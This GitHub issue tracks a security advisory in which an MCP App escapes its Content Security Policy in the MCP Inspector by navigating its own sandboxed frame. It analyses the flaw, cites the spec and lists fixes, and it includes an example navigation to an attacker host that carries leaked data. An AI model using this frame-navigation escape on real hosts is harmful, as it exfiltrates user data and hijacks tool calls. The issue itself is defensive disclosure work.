Skip to content

[GHSA-h9j8-vj8g-v3gg] - MCP App escapes its CSP by navigating its own frame #2872

Closed

Description

@cliffhall

Advisory: https://github.com/modelcontextprotocol/inspector/security/advisories/GHSA-h9j8-vj8g-v3gg

Status (2026-10-29): fix ready, not merged

  • Accepted 2026-10-28. Severity Medium, Priority High. Lines: v2 only (v1's proxy rejects messages from a navigated frame).
  • Fix: fork PR v2 #1, 2 commits. Gate green; verified in Chromium and Firefox.
  • Before the release:
    1. Merge the fork. Lift required_status_checks on v2/main - DCO and restore it from a snapshot.
    2. Ship in v2.14.0.
    3. Request a CVE and credit CloneOfAlex.
    4. Publish.
    5. Trim the Research section below, then convert this card to a v2 issue.
  • Upstream: private report to ext-apps, GHSA-fqjp-x764-8329 (triage).
  • Open:
    • v1 enforces no MCP App CSP at all. That's untracked; decide whether it needs its own advisory.
    • The assessment comment for the reporter is a manual post.

Reporter: CloneOfAlex | Reported severity: medium | Reported: 2026-10-28

Priority score (2026-10-28, provisional — code-read only, not reproduced): Severity 5, Urgency 3, +1 security, Total 9 → High. Lines: v2 + v1 (to confirm).

Priority score (2026-10-28, post-verification — reproduced in Chromium): Severity 5, Urgency 3, +1 security, Total 9 → High. Lines: v2 confirmed; v1 not yet checked.


Research (2026-10-28)

⚠️ This card deliberately carries the mechanism and fix direction, overriding the security-advisory skill's link-and-metadata-only rule at the maintainer's request.

Verdict

A real threat, not a dev-tool nitpick. The MCP Apps spec makes declared domains a hard egress boundary, and the Inspector fails it. The worst part of the flaw comes from our own changes to the reference proxy, not from upstream.

The danger, plainly

An app's CSP promises two things: it can only send data to the domains it declared, and the code that runs is the HTML the server supplied. Navigating its own frame (location.href = "https://attacker/...") breaks both:

  • Data leaves in the navigation URL, even under connect-src 'none'.
  • The attacker's page takes over the app's bridge. It is still the same contentWindow and still origin "null", so the proxy treats it as the app. It receives later host messages (tool results, tool input, host context), and its JSON-RPC (tools/call, ui/open-link, ui/message) is relayed to the host as if the app had sent it.

Who gains what:

  • A malicious server gains little it didn't already have.
  • A benign server whose app is compromised (XSS, or a script from an allowed resource domain) escapes the allowlist completely.
  • A reviewer vetting an app is shown a false picture of what the app can reach.

Reproduction

Reproduced end to end in headless Chromium 156:

  • A srcdoc frame with sandbox="allow-scripts allow-forms" navigated itself, and the attacker's server received ?leak=SECRET.
  • The new page had self.origin === "null".
  • Its tools/call reached the proxy with event.source === inner.contentWindow and origin "null", and was relayed.
  • It then received every "*" tool-result relay.

The harness is local only: /private/tmp/claude-501/-Users-cliffhall-Projects-mcp-inspector-v2/ad860e2b-3eb4-49eb-bfec-ffbec0d2d115/scratchpad/exp/{server.mjs,run.mjs}. Firefox and WebKit were not tested.

The comment at clients/web/static/sandbox_proxy.html:333-335, saying "*" is safe because the frame "cannot navigate to another origin's document without allow-top-navigation", is false.

Spec (ext-apps specification/draft/apps.mdx; the 2026-01-26 version says the same)

  • L491: "If the Host is a web page, it MUST wrap the View and communicate with it through an intermediate Sandbox proxy."
  • L493: "The Host and the Sandbox MUST have different origins."
  • L497-499: "The Sandbox MUST load the raw HTML of the View with CSP settings that: Enforce the domains declared in ui.csp metadata … otherwise use frame-src 'none'"
  • L296: "Host MAY further restrict but MUST NOT allow undeclared domains"
  • L2581: "Host MUST block connections to undeclared domains"
  • L112-116: connectDomains "Maps to CSP connect-src"; "Empty or omitted = no external connections (secure default)"
  • Silent on: the View navigating its own frame, detecting navigation, and the origin checks the proxy must apply to inner-frame messages.

Ownership: ours vs. upstream (examples/basic-host/src/sandbox.ts, serve.ts)

Our proxy is clearly derived from upstream's: same comments, referrer check and self-test. We diverged in two ways that matter.

Ours alone:

  • Opaque origin plus acceptance of "null". Upstream uses allow-same-origin with document.write and checks event.origin !== OWN_ORIGIN, so a page the frame navigated to has the attacker's origin and is rejected.
  • We removed frame-src from the proxy's response header (clients/web/server/sandbox-controller.ts:221-232). Upstream's serve.ts:96 keeps frame-src <frameDomains>|'none', which blocks the self-navigation in Chromium.

Shared with upstream: the host-to-frame relay with "*", and no load or navigation detection. Upstream is covered in Chromium only by its header frame-src. Worth a private report to ext-apps, never a public issue.

Browser facts

  • Self-navigation is allowed. VERIFIED. Per the HTML spec, the sandboxed navigation flag only covers browsing contexts other than the frame itself. top.location threw a SecurityError.
  • Sandbox flags persist across the navigation (same contentWindow, still origin "null"). VERIFIED, Chromium only.
  • No CSP directive stops a frame navigating itself. VERIFIED.
    • CSP3 lists only form-action and frame-ancestors as navigation directives. navigate-to is unrecognized.
    • A meta frame-src 'none' in the srcdoc did not stop it.
    • form-action 'none' did block a form submit.
    • The navigated page does not inherit the srcdoc's meta CSP.
  • frame-src / child-src on the proxy's response header blocks the navigation before any request leaves. VERIFIED in Chromium. Firefox and WebKit UNVERIFIED.
  • The iframe csp attribute is weak. The request still leaks the URL, and a target sending Allow-CSP-From: * loads anyway. Browser support is limited.
  • Other hosts' mitigations (ChatGPT Apps, Claude, ext-apps docs): none documented. UNVERIFIED.

Fix, in priority order

  1. Restore frame-src on the proxy's response header, built per render from the approved frameDomains plus the app's own origin. A static 'none' would break apps with approved frame domains. This stops the URL leak too. The frame can still navigate to a declared frame domain.
  2. Add load-event detection in the proxy: tear down or blank the frame on the second load. Defense in depth only: it races (the attacker's tools/call was relayed before the second load fired) and does not stop the URL leak.
  3. Host-side: stop relaying to a frame that has navigated. Same race as 2.
  4. The iframe csp attribute. Weakest option, listed for completeness.
  5. Correct the false comment at sandbox_proxy.html:333-335.

Inferred, not verified: a per-render MessagePort would defeat a navigated document, but it needs SDK and spec changes.

Activity

  1. self-assigned this
    on Nov 4, 2026
  2. added
    v2Issues and PRs for v2
    bugSomething isn't working
    on Nov 4, 2026
  3. added this to the v2.14.0 milestone on Nov 4, 2026
  4. cliffhall commented on Nov 4, 2026

    @cliffhall
    MemberAuthor

    Fixed by #2875 (merged to v2/main as 9873aa8).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

bugSomething isn't workingv2Issues and PRs for v2

Type

No type

Projects

No projects

    Milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions